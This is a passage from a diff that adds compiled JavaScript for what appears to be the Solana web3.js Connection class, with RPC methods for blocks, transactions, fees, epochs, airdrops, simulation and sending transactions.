leaders to return + */ + async getSlotLeaders(startSlot, limit) { + const args = [startSlot, limit]; + const unsafeRes = await this._rpcRequest('getSlotLeaders', args); + const res = create(unsafeRes, jsonRpcResult(array(PublicKeyFromString))); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get slot leaders'); + } + return res.result; + } + + /** + * Fetch the current status of a signature + */ + async getSignatureStatus(signature, config) { + const { + context, + value: values + } = await this.getSignatureStatuses([signature], config); + assert(values.length === 1); + const value = values[0]; + return { + context, + value + }; + } + + /** + * Fetch the current statuses of a batch of signatures + */ + async getSignatureStatuses(signatures, config) { + const params = [signatures]; + if (config) { + params.push(config); + } + const unsafeRes = await this._rpcRequest('getSignatureStatuses', params); + const res = create(unsafeRes, GetSignatureStatusesRpcResult); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get signature status'); + } + return res.result; + } + + /** + * Fetch the current transaction count of the cluster + */ + async getTransactionCount(commitmentOrConfig) { + const { + commitment, + config + } = extractCommitmentFromConfig(commitmentOrConfig); + const args = this._buildArgs([], commitment, undefined /* encoding */, config); + const unsafeRes = await this._rpcRequest('getTransactionCount', args); + const res = create(unsafeRes, jsonRpcResult(number())); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get transaction count'); + } + return res.result; + } + + /** + * Fetch the current total currency supply of the cluster in lamports + * + * @deprecated Deprecated since RPC v1.2.8. Please use {@link getSupply} instead. + */ + async getTotalSupply(commitment) { + const result = await this.getSupply({ + commitment, + excludeNonCirculatingAccountsList: true + }); + return result.value.total; + } + + /** + * Fetch the cluster InflationGovernor parameters + */ + async getInflationGovernor(commitment) { + const args = this._buildArgs([], commitment); + const unsafeRes = await this._rpcRequest('getInflationGovernor', args); + const res = create(unsafeRes, GetInflationGovernorRpcResult); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get inflation'); + } + return res.result; + } + + /** + * Fetch the inflation reward for a list of addresses for an epoch + */ + async getInflationReward(addresses, epoch, commitmentOrConfig) { + const { + commitment, + config + } = extractCommitmentFromConfig(commitmentOrConfig); + const args = this._buildArgs([addresses.map(pubkey => pubkey.toBase58())], commitment, undefined /* encoding */, { + ...config, + epoch: epoch != null ? epoch : config?.epoch + }); + const unsafeRes = await this._rpcRequest('getInflationReward', args); + const res = create(unsafeRes, GetInflationRewardResult); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get inflation reward'); + } + return res.result; + } + + /** + * Fetch the specific inflation values for the current epoch + */ + async getInflationRate() { + const unsafeRes = await this._rpcRequest('getInflationRate', []); + const res = create(unsafeRes, GetInflationRateRpcResult); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get inflation rate'); + } + return res.result; + } + + /** + * Fetch the Epoch Info parameters + */ + async getEpochInfo(commitmentOrConfig) { + const { + commitment, + config + } = extractCommitmentFromConfig(commitmentOrConfig); + const args = this._buildArgs([], commitment, undefined /* encoding */, config); + const unsafeRes = await this._rpcRequest('getEpochInfo', args); + const res = create(unsafeRes, GetEpochInfoRpcResult); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get epoch info'); + } + return res.result; + } + + /** + * Fetch the Epoch Schedule parameters + */ + async getEpochSchedule() { + const unsafeRes = await this._rpcRequest('getEpochSchedule', []); + const res = create(unsafeRes, GetEpochScheduleRpcResult); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get epoch schedule'); + } + const epochSchedule = res.result; + return new EpochSchedule(epochSchedule.slotsPerEpoch, epochSchedule.leaderScheduleSlotOffset, epochSchedule.warmup, epochSchedule.firstNormalEpoch, epochSchedule.firstNormalSlot); + } + + /** + * Fetch the leader schedule for the current epoch + * @return {Promise>} + */ + async getLeaderSchedule() { + const unsafeRes = await this._rpcRequest('getLeaderSchedule', []); + const res = create(unsafeRes, GetLeaderScheduleRpcResult); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get leader schedule'); + } + return res.result; + } + + /** + * Fetch the minimum balance needed to exempt an account of `dataLength` + * size from rent + */ + async getMinimumBalanceForRentExemption(dataLength, commitment) { + const args = this._buildArgs([dataLength], commitment); + const unsafeRes = await this._rpcRequest('getMinimumBalanceForRentExemption', args); + const res = create(unsafeRes, GetMinimumBalanceForRentExemptionRpcResult); + if ('error' in res) { + console.warn('Unable to fetch minimum balance for rent exemption'); + return 0; + } + return res.result; + } + + /** + * Fetch a recent blockhash from the cluster, return with context + * @return {Promise>} + * + * @deprecated Deprecated since RPC v1.9.0. Please use {@link getLatestBlockhash} instead. + */ + async getRecentBlockhashAndContext(commitment) { + const args = this._buildArgs([], commitment); + const unsafeRes = await this._rpcRequest('getRecentBlockhash', args); + const res = create(unsafeRes, GetRecentBlockhashAndContextRpcResult); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get recent blockhash'); + } + return res.result; + } + + /** + * Fetch recent performance samples + * @return {Promise>} + */ + async getRecentPerformanceSamples(limit) { + const unsafeRes = await this._rpcRequest('getRecentPerformanceSamples', limit ? [limit] : []); + const res = create(unsafeRes, GetRecentPerformanceSamplesRpcResult); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get recent performance samples'); + } + return res.result; + } + + /** + * Fetch the fee calculator for a recent blockhash from the cluster, return with context + * + * @deprecated Deprecated since RPC v1.9.0. Please use {@link getFeeForMessage} instead. + */ + async getFeeCalculatorForBlockhash(blockhash, commitment) { + const args = this._buildArgs([blockhash], commitment); + const unsafeRes = await this._rpcRequest('getFeeCalculatorForBlockhash', args); + const res = create(unsafeRes, GetFeeCalculatorRpcResult); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get fee calculator'); + } + const { + context, + value + } = res.result; + return { + context, + value: value !== null ? value.feeCalculator : null + }; + } + + /** + * Fetch the fee for a message from the cluster, return with context + */ + async getFeeForMessage(message, commitment) { + const wireMessage = toBuffer(message.serialize()).toString('base64'); + const args = this._buildArgs([wireMessage], commitment); + const unsafeRes = await this._rpcRequest('getFeeForMessage', args); + const res = create(unsafeRes, jsonRpcResultAndContext(nullable(number()))); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get fee for message'); + } + if (res.result === null) { + throw new Error('invalid blockhash'); + } + return res.result; + } + + /** + * Fetch a list of prioritization fees from recent blocks. + */ + async getRecentPrioritizationFees(config) { + const accounts = config?.lockedWritableAccounts?.map(key => key.toBase58()); + const args = accounts?.length ? [accounts] : []; + const unsafeRes = await this._rpcRequest('getRecentPrioritizationFees', args); + const res = create(unsafeRes, GetRecentPrioritizationFeesRpcResult); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get recent prioritization fees'); + } + return res.result; + } + /** + * Fetch a recent blockhash from the cluster + * @return {Promise<{blockhash: Blockhash, feeCalculator: FeeCalculator}>} + * + * @deprecated Deprecated since RPC v1.8.0. Please use {@link getLatestBlockhash} instead. + */ + async getRecentBlockhash(commitment) { + try { + const res = await this.getRecentBlockhashAndContext(commitment); + return res.value; + } catch (e) { + throw new Error('failed to get recent blockhash: ' + e); + } + } + + /** + * Fetch the latest blockhash from the cluster + * @return {Promise} + */ + async getLatestBlockhash(commitmentOrConfig) { + try { + const res = await this.getLatestBlockhashAndContext(commitmentOrConfig); + return res.value; + } catch (e) { + throw new Error('failed to get recent blockhash: ' + e); + } + } + + /** + * Fetch the latest blockhash from the cluster + * @return {Promise} + */ + async getLatestBlockhashAndContext(commitmentOrConfig) { + const { + commitment, + config + } = extractCommitmentFromConfig(commitmentOrConfig); + const args = this._buildArgs([], commitment, undefined /* encoding */, config); + const unsafeRes = await this._rpcRequest('getLatestBlockhash', args); + const res = create(unsafeRes, GetLatestBlockhashRpcResult); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get latest blockhash'); + } + return res.result; + } + + /** + * Returns whether a blockhash is still valid or not + */ + async isBlockhashValid(blockhash, rawConfig) { + const { + commitment, + config + } = extractCommitmentFromConfig(rawConfig); + const args = this._buildArgs([blockhash], commitment, undefined /* encoding */, config); + const unsafeRes = await this._rpcRequest('isBlockhashValid', args); + const res = create(unsafeRes, IsBlockhashValidRpcResult); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to determine if the blockhash `' + blockhash + '`is valid'); + } + return res.result; + } + + /** + * Fetch the node version + */ + async getVersion() { + const unsafeRes = await this._rpcRequest('getVersion', []); + const res = create(unsafeRes, jsonRpcResult(VersionResult)); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get version'); + } + return res.result; + } + + /** + * Fetch the genesis hash + */ + async getGenesisHash() { + const unsafeRes = await this._rpcRequest('getGenesisHash', []); + const res = create(unsafeRes, jsonRpcResult(string())); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get genesis hash'); + } + return res.result; + } + + /** + * Fetch a processed block from the cluster. + * + * @deprecated Instead, call `getBlock` using a `GetVersionedBlockConfig` by + * setting the `maxSupportedTransactionVersion` property. + */ + + /** + * @deprecated Instead, call `getBlock` using a `GetVersionedBlockConfig` by + * setting the `maxSupportedTransactionVersion` property. + */ + // eslint-disable-next-line no-dupe-class-members + + /** + * @deprecated Instead, call `getBlock` using a `GetVersionedBlockConfig` by + * setting the `maxSupportedTransactionVersion` property. + */ + // eslint-disable-next-line no-dupe-class-members + + /** + * Fetch a processed block from the cluster. + */ + // eslint-disable-next-line no-dupe-class-members + + // eslint-disable-next-line no-dupe-class-members + + // eslint-disable-next-line no-dupe-class-members + + /** + * Fetch a processed block from the cluster. + */ + // eslint-disable-next-line no-dupe-class-members + async getBlock(slot, rawConfig) { + const { + commitment, + config + } = extractCommitmentFromConfig(rawConfig); + const args = this._buildArgsAtLeastConfirmed([slot], commitment, undefined /* encoding */, config); + const unsafeRes = await this._rpcRequest('getBlock', args); + try { + switch (config?.transactionDetails) { + case 'accounts': + { + const res = create(unsafeRes, GetAccountsModeBlockRpcResult); + if ('error' in res) { + throw res.error; + } + return res.result; + } + case 'none': + { + const res = create(unsafeRes, GetNoneModeBlockRpcResult); + if ('error' in res) { + throw res.error; + } + return res.result; + } + default: + { + const res = create(unsafeRes, GetBlockRpcResult); + if ('error' in res) { + throw res.error; + } + const { + result + } = res; + return result ? { + ...result, + transactions: result.transactions.map(({ + transaction, + meta, + version + }) => ({ + meta, + transaction: { + ...transaction, + message: versionedMessageFromResponse(version, transaction.message) + }, + version + })) + } : null; + } + } + } catch (e) { + throw new SolanaJSONRPCError(e, 'failed to get confirmed block'); + } + } + + /** + * Fetch parsed transaction details for a confirmed or finalized block + */ + + // eslint-disable-next-line no-dupe-class-members + + // eslint-disable-next-line no-dupe-class-members + + // eslint-disable-next-line no-dupe-class-members + async getParsedBlock(slot, rawConfig) { + const { + commitment, + config + } = extractCommitmentFromConfig(rawConfig); + const args = this._buildArgsAtLeastConfirmed([slot], commitment, 'jsonParsed', config); + const unsafeRes = await this._rpcRequest('getBlock', args); + try { + switch (config?.transactionDetails) { + case 'accounts': + { + const res = create(unsafeRes, GetParsedAccountsModeBlockRpcResult); + if ('error' in res) { + throw res.error; + } + return res.result; + } + case 'none': + { + const res = create(unsafeRes, GetParsedNoneModeBlockRpcResult); + if ('error' in res) { + throw res.error; + } + return res.result; + } + default: + { + const res = create(unsafeRes, GetParsedBlockRpcResult); + if ('error' in res) { + throw res.error; + } + return res.result; + } + } + } catch (e) { + throw new SolanaJSONRPCError(e, 'failed to get block'); + } + } + /* + * Returns recent block production information from the current or previous epoch + */ + async getBlockProduction(configOrCommitment) { + let extra; + let commitment; + if (typeof configOrCommitment === 'string') { + commitment = configOrCommitment; + } else if (configOrCommitment) { + const { + commitment: c, + ...rest + } = configOrCommitment; + commitment = c; + extra = rest; + } + const args = this._buildArgs([], commitment, 'base64', extra); + const unsafeRes = await this._rpcRequest('getBlockProduction', args); + const res = create(unsafeRes, BlockProductionResponseStruct); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get block production information'); + } + return res.result; + } + + /** + * Fetch a confirmed or finalized transaction from the cluster. + * + * @deprecated Instead, call `getTransaction` using a + * `GetVersionedTransactionConfig` by setting the + * `maxSupportedTransactionVersion` property. + */ + + /** + * Fetch a confirmed or finalized transaction from the cluster. + */ + // eslint-disable-next-line no-dupe-class-members + + /** + * Fetch a confirmed or finalized transaction from the cluster. + */ + // eslint-disable-next-line no-dupe-class-members + async getTransaction(signature, rawConfig) { + const { + commitment, + config + } = extractCommitmentFromConfig(rawConfig); + const args = this._buildArgsAtLeastConfirmed([signature], commitment, undefined /* encoding */, config); + const unsafeRes = await this._rpcRequest('getTransaction', args); + const res = create(unsafeRes, GetTransactionRpcResult); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get transaction'); + } + const result = res.result; + if (!result) return result; + return { + ...result, + transaction: { + ...result.transaction, + message: versionedMessageFromResponse(result.version, result.transaction.message) + } + }; + } + + /** + * Fetch parsed transaction details for a confirmed or finalized transaction + */ + async getParsedTransaction(signature, commitmentOrConfig) { + const { + commitment, + config + } = extractCommitmentFromConfig(commitmentOrConfig); + const args = this._buildArgsAtLeastConfirmed([signature], commitment, 'jsonParsed', config); + const unsafeRes = await this._rpcRequest('getTransaction', args); + const res = create(unsafeRes, GetParsedTransactionRpcResult); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get transaction'); + } + return res.result; + } + + /** + * Fetch parsed transaction details for a batch of confirmed transactions + */ + async getParsedTransactions(signatures, commitmentOrConfig) { + const { + commitment, + config + } = extractCommitmentFromConfig(commitmentOrConfig); + const batch = signatures.map(signature => { + const args = this._buildArgsAtLeastConfirmed([signature], commitment, 'jsonParsed', config); + return { + methodName: 'getTransaction', + args + }; + }); + const unsafeRes = await this._rpcBatchRequest(batch); + const res = unsafeRes.map(unsafeRes => { + const res = create(unsafeRes, GetParsedTransactionRpcResult); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get transactions'); + } + return res.result; + }); + return res; + } + + /** + * Fetch transaction details for a batch of confirmed transactions. + * Similar to {@link getParsedTransactions} but returns a {@link TransactionResponse}. + * + * @deprecated Instead, call `getTransactions` using a + * `GetVersionedTransactionConfig` by setting the + * `maxSupportedTransactionVersion` property. + */ + + /** + * Fetch transaction details for a batch of confirmed transactions. + * Similar to {@link getParsedTransactions} but returns a {@link + * VersionedTransactionResponse}. + */ + // eslint-disable-next-line no-dupe-class-members + + /** + * Fetch transaction details for a batch of confirmed transactions. + * Similar to {@link getParsedTransactions} but returns a {@link + * VersionedTransactionResponse}. + */ + // eslint-disable-next-line no-dupe-class-members + async getTransactions(signatures, commitmentOrConfig) { + const { + commitment, + config + } = extractCommitmentFromConfig(commitmentOrConfig); + const batch = signatures.map(signature => { + const args = this._buildArgsAtLeastConfirmed([signature], commitment, undefined /* encoding */, config); + return { + methodName: 'getTransaction', + args + }; + }); + const unsafeRes = await this._rpcBatchRequest(batch); + const res = unsafeRes.map(unsafeRes => { + const res = create(unsafeRes, GetTransactionRpcResult); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get transactions'); + } + const result = res.result; + if (!result) return result; + return { + ...result, + transaction: { + ...result.transaction, + message: versionedMessageFromResponse(result.version, result.transaction.message) + } + }; + }); + return res; + } + + /** + * Fetch a list of Transactions and transaction statuses from the cluster + * for a confirmed block. + * + * @deprecated Deprecated since RPC v1.7.0. Please use {@link getBlock} instead. + */ + async getConfirmedBlock(slot, commitment) { + const args = this._buildArgsAtLeastConfirmed([slot], commitment); + const unsafeRes = await this._rpcRequest('getConfirmedBlock', args); + const res = create(unsafeRes, GetConfirmedBlockRpcResult); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get confirmed block'); + } + const result = res.result; + if (!result) { + throw new Error('Confirmed block ' + slot + ' not found'); + } + const block = { + ...result, + transactions: result.transactions.map(({ + transaction, + meta + }) => { + const message = new Message(transaction.message); + return { + meta, + transaction: { + ...transaction, + message + } + }; + }) + }; + return { + ...block, + transactions: block.transactions.map(({ + transaction, + meta + }) => { + return { + meta, + transaction: Transaction.populate(transaction.message, transaction.signatures) + }; + }) + }; + } + + /** + * Fetch confirmed blocks between two slots + */ + async getBlocks(startSlot, endSlot, commitment) { + const args = this._buildArgsAtLeastConfirmed(endSlot !== undefined ? [startSlot, endSlot] : [startSlot], commitment); + const unsafeRes = await this._rpcRequest('getBlocks', args); + const res = create(unsafeRes, jsonRpcResult(array(number()))); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get blocks'); + } + return res.result; + } + + /** + * Fetch a list of Signatures from the cluster for a block, excluding rewards + */ + async getBlockSignatures(slot, commitment) { + const args = this._buildArgsAtLeastConfirmed([slot], commitment, undefined, { + transactionDetails: 'signatures', + rewards: false + }); + const unsafeRes = await this._rpcRequest('getBlock', args); + const res = create(unsafeRes, GetBlockSignaturesRpcResult); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get block'); + } + const result = res.result; + if (!result) { + throw new Error('Block ' + slot + ' not found'); + } + return result; + } + + /** + * Fetch a list of Signatures from the cluster for a confirmed block, excluding rewards + * + * @deprecated Deprecated since RPC v1.7.0. Please use {@link getBlockSignatures} instead. + */ + async getConfirmedBlockSignatures(slot, commitment) { + const args = this._buildArgsAtLeastConfirmed([slot], commitment, undefined, { + transactionDetails: 'signatures', + rewards: false + }); + const unsafeRes = await this._rpcRequest('getConfirmedBlock', args); + const res = create(unsafeRes, GetBlockSignaturesRpcResult); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get confirmed block'); + } + const result = res.result; + if (!result) { + throw new Error('Confirmed block ' + slot + ' not found'); + } + return result; + } + + /** + * Fetch a transaction details for a confirmed transaction + * + * @deprecated Deprecated since RPC v1.7.0. Please use {@link getTransaction} instead. + */ + async getConfirmedTransaction(signature, commitment) { + const args = this._buildArgsAtLeastConfirmed([signature], commitment); + const unsafeRes = await this._rpcRequest('getConfirmedTransaction', args); + const res = create(unsafeRes, GetTransactionRpcResult); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get transaction'); + } + const result = res.result; + if (!result) return result; + const message = new Message(result.transaction.message); + const signatures = result.transaction.signatures; + return { + ...result, + transaction: Transaction.populate(message, signatures) + }; + } + + /** + * Fetch parsed transaction details for a confirmed transaction + * + * @deprecated Deprecated since RPC v1.7.0. Please use {@link getParsedTransaction} instead. + */ + async getParsedConfirmedTransaction(signature, commitment) { + const args = this._buildArgsAtLeastConfirmed([signature], commitment, 'jsonParsed'); + const unsafeRes = await this._rpcRequest('getConfirmedTransaction', args); + const res = create(unsafeRes, GetParsedTransactionRpcResult); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get confirmed transaction'); + } + return res.result; + } + + /** + * Fetch parsed transaction details for a batch of confirmed transactions + * + * @deprecated Deprecated since RPC v1.7.0. Please use {@link getParsedTransactions} instead. + */ + async getParsedConfirmedTransactions(signatures, commitment) { + const batch = signatures.map(signature => { + const args = this._buildArgsAtLeastConfirmed([signature], commitment, 'jsonParsed'); + return { + methodName: 'getConfirmedTransaction', + args + }; + }); + const unsafeRes = await this._rpcBatchRequest(batch); + const res = unsafeRes.map(unsafeRes => { + const res = create(unsafeRes, GetParsedTransactionRpcResult); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get confirmed transactions'); + } + return res.result; + }); + return res; + } + + /** + * Fetch a list of all the confirmed signatures for transactions involving an address + * within a specified slot range. Max range allowed is 10,000 slots. + * + * @deprecated Deprecated since RPC v1.3. Please use {@link getConfirmedSignaturesForAddress2} instead. + * + * @param address queried address + * @param startSlot start slot, inclusive + * @param endSlot end slot, inclusive + */ + async getConfirmedSignaturesForAddress(address, startSlot, endSlot) { + let options = {}; + let firstAvailableBlock = await this.getFirstAvailableBlock(); + while (!('until' in options)) { + startSlot--; + if (startSlot <= 0 || startSlot < firstAvailableBlock) { + break; + } + try { + const block = await this.getConfirmedBlockSignatures(startSlot, 'finalized'); + if (block.signatures.length > 0) { + options.until = block.signatures[block.signatures.length - 1].toString(); + } + } catch (err) { + if (err instanceof Error && err.message.includes('skipped')) { + continue; + } else { + throw err; + } + } + } + let highestConfirmedRoot = await this.getSlot('finalized'); + while (!('before' in options)) { + endSlot++; + if (endSlot > highestConfirmedRoot) { + break; + } + try { + const block = await this.getConfirmedBlockSignatures(endSlot); + if (block.signatures.length > 0) { + options.before = block.signatures[block.signatures.length - 1].toString(); + } + } catch (err) { + if (err instanceof Error && err.message.includes('skipped')) { + continue; + } else { + throw err; + } + } + } + const confirmedSignatureInfo = await this.getConfirmedSignaturesForAddress2(address, options); + return confirmedSignatureInfo.map(info => info.signature); + } + + /** + * Returns confirmed signatures for transactions involving an + * address backwards in time from the provided signature or most recent confirmed block + * + * @deprecated Deprecated since RPC v1.7.0. Please use {@link getSignaturesForAddress} instead. + */ + async getConfirmedSignaturesForAddress2(address, options, commitment) { + const args = this._buildArgsAtLeastConfirmed([address.toBase58()], commitment, undefined, options); + const unsafeRes = await this._rpcRequest('getConfirmedSignaturesForAddress2', args); + const res = create(unsafeRes, GetConfirmedSignaturesForAddress2RpcResult); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get confirmed signatures for address'); + } + return res.result; + } + + /** + * Returns confirmed signatures for transactions involving an + * address backwards in time from the provided signature or most recent confirmed block + * + * + * @param address queried address + * @param options + */ + async getSignaturesForAddress(address, options, commitment) { + const args = this._buildArgsAtLeastConfirmed([address.toBase58()], commitment, undefined, options); + const unsafeRes = await this._rpcRequest('getSignaturesForAddress', args); + const res = create(unsafeRes, GetSignaturesForAddressRpcResult); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, 'failed to get signatures for address'); + } + return res.result; + } + async getAddressLookupTable(accountKey, config) { + const { + context, + value: accountInfo + } = await this.getAccountInfoAndContext(accountKey, config); + let value = null; + if (accountInfo !== null) { + value = new AddressLookupTableAccount({ + key: accountKey, + state: AddressLookupTableAccount.deserialize(accountInfo.data) + }); + } + return { + context, + value + }; + } + + /** + * Fetch the contents of a Nonce account from the cluster, return with context + */ + async getNonceAndContext(nonceAccount, commitmentOrConfig) { + const { + context, + value: accountInfo + } = await this.getAccountInfoAndContext(nonceAccount, commitmentOrConfig); + let value = null; + if (accountInfo !== null) { + value = NonceAccount.fromAccountData(accountInfo.data); + } + return { + context, + value + }; + } + + /** + * Fetch the contents of a Nonce account from the cluster + */ + async getNonce(nonceAccount, commitmentOrConfig) { + return await this.getNonceAndContext(nonceAccount, commitmentOrConfig).then(x => x.value).catch(e => { + throw new Error('failed to get nonce for account ' + nonceAccount.toBase58() + ': ' + e); + }); + } + + /** + * Request an allocation of lamports to the specified address + * + * ```typescript + * import { Connection, PublicKey, LAMPORTS_PER_SOL } from "@solana/web3.js"; + * + * (async () => { + * const connection = new Connection("https://api.testnet.solana.com", "confirmed"); + * const myAddress = new PublicKey("2nr1bHFT86W9tGnyvmYW4vcHKsQB3sVQfnddasz4kExM"); + * const signature = await connection.requestAirdrop(myAddress, LAMPORTS_PER_SOL); + * await connection.confirmTransaction(signature); + * })(); + * ``` + */ + async requestAirdrop(to, lamports) { + const unsafeRes = await this._rpcRequest('requestAirdrop', [to.toBase58(), lamports]); + const res = create(unsafeRes, RequestAirdropRpcResult); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, `airdrop to ${to.toBase58()} failed`); + } + return res.result; + } + + /** + * @internal + */ + async _blockhashWithExpiryBlockHeight(disableCache) { + if (!disableCache) { + // Wait for polling to finish + while (this._pollingBlockhash) { + await sleep(100); + } + const timeSinceFetch = Date.now() - this._blockhashInfo.lastFetch; + const expired = timeSinceFetch >= BLOCKHASH_CACHE_TIMEOUT_MS; + if (this._blockhashInfo.latestBlockhash !== null && !expired) { + return this._blockhashInfo.latestBlockhash; + } + } + return await this._pollNewBlockhash(); + } + + /** + * @internal + */ + async _pollNewBlockhash() { + this._pollingBlockhash = true; + try { + const startTime = Date.now(); + const cachedLatestBlockhash = this._blockhashInfo.latestBlockhash; + const cachedBlockhash = cachedLatestBlockhash ? cachedLatestBlockhash.blockhash : null; + for (let i = 0; i < 50; i++) { + const latestBlockhash = await this.getLatestBlockhash('finalized'); + if (cachedBlockhash !== latestBlockhash.blockhash) { + this._blockhashInfo = { + latestBlockhash, + lastFetch: Date.now(), + transactionSignatures: [], + simulatedSignatures: [] + }; + return latestBlockhash; + } + + // Sleep for approximately half a slot + await sleep(MS_PER_SLOT / 2); + } + throw new Error(`Unable to obtain a new blockhash after ${Date.now() - startTime}ms`); + } finally { + this._pollingBlockhash = false; + } + } + + /** + * get the stake minimum delegation + */ + async getStakeMinimumDelegation(config) { + const { + commitment, + config: configArg + } = extractCommitmentFromConfig(config); + const args = this._buildArgs([], commitment, 'base64', configArg); + const unsafeRes = await this._rpcRequest('getStakeMinimumDelegation', args); + const res = create(unsafeRes, jsonRpcResultAndContext(number())); + if ('error' in res) { + throw new SolanaJSONRPCError(res.error, `failed to get stake minimum delegation`); + } + return res.result; + } + + /** + * Simulate a transaction + * + * @deprecated Instead, call {@link simulateTransaction} with {@link + * VersionedTransaction} and {@link SimulateTransactionConfig} parameters + */ + + /** + * Simulate a transaction + */ + // eslint-disable-next-line no-dupe-class-members + + /** + * Simulate a transaction + */ + // eslint-disable-next-line no-dupe-class-members + async simulateTransaction(transactionOrMessage, configOrSigners, includeAccounts) { + if ('message' in transactionOrMessage) { + const versionedTx = transactionOrMessage; + const wireTransaction = versionedTx.serialize(); + const encodedTransaction = Buffer.from(wireTransaction).toString('base64'); + if (Array.isArray(configOrSigners) || includeAccounts !== undefined) { + throw new Error('Invalid arguments'); + } + const config = configOrSigners || {}; + config.encoding = 'base64'; + if (!('commitment' in config)) { + config.commitment = this.commitment; + } + if (configOrSigners && typeof configOrSigners === 'object' && 'innerInstructions' in configOrSigners) { + config.innerInstructions = configOrSigners.innerInstructions; + } + const args = [encodedTransaction, config]; + const unsafeRes = await this._rpcRequest('simulateTransaction', args); + const res = create(unsafeRes, SimulatedTransactionResponseStruct); + if ('error' in res) { + throw new Error('failed to simulate transaction: ' + res.error.message); + } + return res.result; + } + let transaction; + if (transactionOrMessage instanceof Transaction) { + let originalTx = transactionOrMessage; + transaction = new Transaction(); + transaction.feePayer = originalTx.feePayer; + transaction.instructions = transactionOrMessage.instructions; + transaction.nonceInfo = originalTx.nonceInfo; + transaction.signatures = originalTx.signatures; + } else { + transaction = Transaction.populate(transactionOrMessage); + // HACK: this function relies on mutating the populated transaction + transaction._message = transaction._json = undefined; + } + if (configOrSigners !== undefined && !Array.isArray(configOrSigners)) { + throw new Error('Invalid arguments'); + } + const signers = configOrSigners; + if (transaction.nonceInfo && signers) { + transaction.sign(...signers); + } else { + let disableCache = this._disableBlockhashCaching; + for (;;) { + const latestBlockhash = await this._blockhashWithExpiryBlockHeight(disableCache); + transaction.lastValidBlockHeight = latestBlockhash.lastValidBlockHeight; + transaction.recentBlockhash = latestBlockhash.blockhash; + if (!signers) break; + transaction.sign(...signers); + if (!transaction.signature) { + throw new Error('!signature'); // should never happen + } + const signature = transaction.signature.toString('base64'); + if (!this._blockhashInfo.simulatedSignatures.includes(signature) && !this._blockhashInfo.transactionSignatures.includes(signature)) { + // The signature of this transaction has not been seen before with the + // current recentBlockhash, all done. Let's break + this._blockhashInfo.simulatedSignatures.push(signature); + break; + } else { + // This transaction would be treated as duplicate (its derived signature + // matched to one of already recorded signatures). + // So, we must fetch a new blockhash for a different signature by disabling + // our cache not to wait for the cache expiration (BLOCKHASH_CACHE_TIMEOUT_MS). + disableCache = true; + } + } + } + const message = transaction._compile(); + const signData = message.serialize(); + const wireTransaction = transaction._serialize(signData); + const encodedTransaction = wireTransaction.toString('base64'); + const config = { + encoding: 'base64', + commitment: this.commitment + }; + if (includeAccounts) { + const addresses = (Array.isArray(includeAccounts) ? includeAccounts : message.nonProgramIds()).map(key => key.toBase58()); + config['accounts'] = { + encoding: 'base64', + addresses + }; + } + if (signers) { + config.sigVerify = true; + } + if (configOrSigners && typeof configOrSigners === 'object' && 'innerInstructions' in configOrSigners) { + config.innerInstructions = configOrSigners.innerInstructions; + } + const args = [encodedTransaction, config]; + const unsafeRes = await this._rpcRequest('simulateTransaction', args); + const res = create(unsafeRes, SimulatedTransactionResponseStruct); + if ('error' in res) { + let logs; + if ('data' in res.error) { + logs = res.error.data.logs; + if (logs && Array.isArray(logs)) { + const traceIndent = '\n '; + const logTrace = traceIndent + logs.join(traceIndent); + console.error(res.error.message, logTrace); + } + } + throw new SendTransactionError({ + action: 'simulate', + signature: '', + transactionMessage: res.error.message, + logs: logs + }); + } + return res.result; + } + + /** + * Sign and send a transaction + * + * @deprecated Instead, call {@link sendTransaction} with a {@link + * VersionedTransaction} + */ + + /** + * Send a signed transaction + */ + // eslint-disable-next-line no-dupe-class-members + + /** + * Sign and send a transaction + */ + // eslint-disable-next-line no-dupe-class-members + async sendTransaction(transaction, signersOrOptions, options) { + if ('version' in transaction) { + if (signersOrOptions && Array.isArray(signersOrOptions)) { + throw new Error('Invalid arguments'); + } + const wireTransaction = transaction.serialize(); + return await this.sendRawTransaction(wireTransaction, signersOrOptions); + } + if (signersOrOptions === undefined || !Array.isArray(signersOrOptions)) { + throw new Error('Invalid arguments'); + } + const signers = signersOrOptions; + if (transaction.nonceInfo) { + transaction.sign(...signers); + } else { + let disableCache = this._disableBlockhashCaching; + for (;;) { + const latestBlockhash = await this._blockhashWithExpiryBlockHeight(disableCache); + transaction.lastValidBlockHeight = latestBlockhash.lastValidBlockHeight; + transaction.recentBlockhash = latestBlockhash.blockhash; + transaction.sign(...signers); + if (!transaction.signature) { + throw new Error('!signature'); // should never happen + } + const signature = transaction.signature.toString('base64'); + if 